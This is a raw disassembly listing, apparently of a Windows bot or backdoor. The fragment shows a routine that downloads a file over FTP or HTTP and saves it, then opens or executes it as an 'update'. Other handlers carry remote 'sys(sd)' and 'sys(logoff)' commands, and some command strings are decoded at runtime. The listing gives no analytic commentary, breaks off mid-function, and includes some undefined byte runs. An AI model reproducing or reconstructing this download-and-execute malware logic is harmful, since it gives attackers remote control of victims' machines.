		add	esp, 114h
		retn	4
sub_41C710	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_401B4Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D640	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_4014BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D770	proc near		; CODE XREF: sub_4021E9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D830:				; CODE XREF: ___:00401168j
					; ___:loc_4019F6j
		push	esi
		mov	esi, ecx
		call	sub_4015CD
		test	byte ptr [esp+8], 1
		jz	short loc_41D848
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D848:				; CODE XREF: ___:0041D83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D860	proc near		; CODE XREF: sub_4015CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D930	proc near		; CODE XREF: sub_401C94j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43C3F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_448F30
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ebx, [esi+65h]
		push	offset byte_448F30
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ecx, [esi+26h]
		push	offset byte_448F30
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D9D1
		push	offset byte_448F30
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D9C4
		push	offset byte_448F30
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D9D1


loc_41D9C4:				; CODE XREF: sub_41D930+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41E03D
; ---------------------------------------------------------------------------


loc_41D9D1:				; CODE XREF: sub_41D930+70j
					; sub_41D930+92j
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41DA5E
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41DA6F


loc_41DA5E:				; CODE XREF: sub_41D930+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41DA6F:				; CODE XREF: sub_41D930+12Cj
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FDC
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015E1
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DC04
		call	sub_401E1F
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		call	sub_401A7D
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DB1C
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41E014
; ---------------------------------------------------------------------------


loc_41DB1C:				; CODE XREF: sub_41D930+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017EE
		push	eax
		call	sub_402266
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DB73
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DB73:				; CODE XREF: sub_41D930+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_4016B3
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DBF2
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DBF2:				; CODE XREF: sub_41D930+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D66
		add	esp, 4
		jmp	loc_41DE7B
; ---------------------------------------------------------------------------


loc_41DC04:				; CODE XREF: sub_41D930+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_40142E
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_40142E
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017EE
		push	eax
		call	sub_401AA0
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DC87
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0B9h
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DC87:				; CODE XREF: sub_41D930+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017EE
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DD80
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41E048
; ---------------------------------------------------------------------------


loc_41DD80:				; CODE XREF: sub_41D930+3DBj
					; sub_41D930+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDF8
		cmp	ebp, 1000h
		jge	short loc_41DDB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DDB0:				; CODE XREF: sub_41D930+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD80


loc_41DDB6:				; CODE XREF: sub_41D930+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_444EC8 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DDD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDB6
		jmp	short loc_41DD80
; ---------------------------------------------------------------------------


loc_41DDD9:				; CODE XREF: sub_41D930+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DDF8


loc_41DDE0:				; CODE XREF: sub_41D930+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDE0


loc_41DDF8:				; CODE XREF: sub_41D930+46Ej
					; sub_41D930+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DE48
		cmp	ebp, 1000h
		jge	short loc_41DE28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DE28:				; CODE XREF: sub_41D930+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DDF8


loc_41DE2E:				; CODE XREF: sub_41D930+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DE2E
		jmp	short loc_41DDF8
; ---------------------------------------------------------------------------


loc_41DE48:				; CODE XREF: sub_41D930+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DE7B:				; CODE XREF: sub_41D930+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DF17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41E00C
		push	offset byte_448F30
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_41E00C
; ---------------------------------------------------------------------------


loc_41DF17:				; CODE XREF: sub_41D930+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+90h+var_40]
		push	51h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		call	sub_402167
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DFE7
		mov	al, byte_449896
		test	al, al
		jz	short loc_41DFB6
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_41DFB6:				; CODE XREF: sub_41D930+675j
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_41DFCE
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_41DFCE:				; CODE XREF: sub_41D930+68Dj
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		push	1
		mov	byte_4E8E44, 0
		call	near ptr 77C39E7Eh
		nop


loc_41DFE7:				; CODE XREF: sub_41D930+66Cj
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_41E00C:				; CODE XREF: sub_41D930+597j
					; sub_41D930+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41E014:				; CODE XREF: sub_41D930+1E7j
		push	edx


loc_41E015:				; CODE XREF: sub_41D930+23Ej
					; sub_41D930+2BDj
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41E048
; ---------------------------------------------------------------------------


loc_41E035:				; CODE XREF: sub_41D930+36j
					; sub_41D930+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41E03D:				; CODE XREF: sub_41D930+9Cj
		push	eax
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_41D930	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D930


loc_41E048:				; CODE XREF: sub_41D930+44Bj
					; sub_41D930+703j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D930
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E240	proc near		; CODE XREF: sub_401BA4j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E240	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E3C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E41B
		push	offset dword_444FCC
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	6
		call	near ptr 2890B15h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E41B:				; CODE XREF: ___:0041E3DEj
		lea	ecx, [esi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E46A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 2890B15h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E46A:				; CODE XREF: ___:0041E42Dj
		lea	ecx, [esi+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E4B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 2890B15h


loc_41E4B1:				; CODE XREF: ___:0041E47Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E500	proc near		; CODE XREF: sub_401F7Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E500	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017EE
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E760	proc near		; CODE XREF: sub_40161Dj

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
